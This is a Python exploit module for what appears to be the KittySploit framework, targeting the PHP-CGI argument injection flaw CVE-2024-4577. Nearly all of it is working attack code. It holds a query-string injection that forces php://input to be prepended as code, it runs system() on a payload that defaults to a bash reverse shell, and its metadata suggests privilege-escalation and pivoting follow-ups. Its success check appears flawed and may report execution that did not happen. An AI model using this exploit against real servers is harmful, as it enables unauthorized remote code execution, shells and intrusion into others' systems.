PHP CGI Argument Injection RCE (CVE-2024-4577)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "PHP CGI Argument Injection RCE (CVE-2024-4577)",
        "description": (
            "Exploits PHP-CGI argument injection via query-string option smuggling to "
            "set auto_prepend_file=php://input and execute attacker-supplied PHP code."
        ),
        "author": ["Orange Tsai", "watchTowr", "KittySploit Team"],
        "cve": "CVE-2024-4577",
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/",
            "https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/",
        ],
        "tags": ["php", "cgi", "rce", "argument-injection"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    target_path = OptString("/index.php", "Path to PHP-CGI entrypoint", required=False)
    php_code = OptString("", "Raw PHP code to execute (overrides payload)", required=False)
    verify_marker = OptString("1337", "Marker used to verify execution", required=False, advanced=True)

    CGI_ARG_INJECTION = "?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

    def _php_exec_stub(self) -> str:
        custom = str(self.php_code or "").strip()
        if custom:
            return custom

        cmd = str(self.payload).strip() if self.payload else ""
        if not cmd:
            return ""
        return f"<?php system({cmd!r}); ?>"

    def _marker_body(self, marker: str) -> str:
        return f"<?php echo {marker!r}; die; ?>"

    def _build_path(self) -> str:
        p = str(self.target_path or "/index.php").strip()
        if not p.startswith("/"):
            p = "/" + p
        return p

    def _request_with_body(self, body: str):
        return self.http_request(
            method="POST",
            path=f"{self._build_path()}{self.CGI_ARG_INJECTION}",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=max(int(self.timeout or 10), 10),
            allow_redirects=False,
        )

    def check(self):
        marker = str(self.verify_marker or "1337")
        response = self._request_with_body(self._marker_body(marker))
        if response and response.status_code in (200, 500):
            text = response.text or ""
            if marker in text:
                return {
                    "vulnerable": True,
                    "reason": f"Injected PHP marker {marker!r} echoed in response",
                    "confidence": "high",
                }
        return {
            "vulnerable": False,
            "reason": "Marker probe did not execute through PHP-CGI argument injection",
            "confidence": "low",
        }

    def run(self):
        stub = self._php_exec_stub()
        if not stub:
            print_error("No php_code provided and payload generation failed")
            return False

        marker = str(self.verify_marker or "1337")
        probe = self._request_with_body(f"{stub};echo {marker}; die;")
        if not probe:
            print_error("No response from target")
            return False

        if marker in (probe.text or ""):
            print_success("PHP CGI argument injection executed successfully")
            self.vulnerable()
            return True

        print_warning(f"Unexpected HTTP {probe.status_code}; marker not found in response body")
        print_info((probe.text or "")[:500])
        self.not_vulnerable()
        return False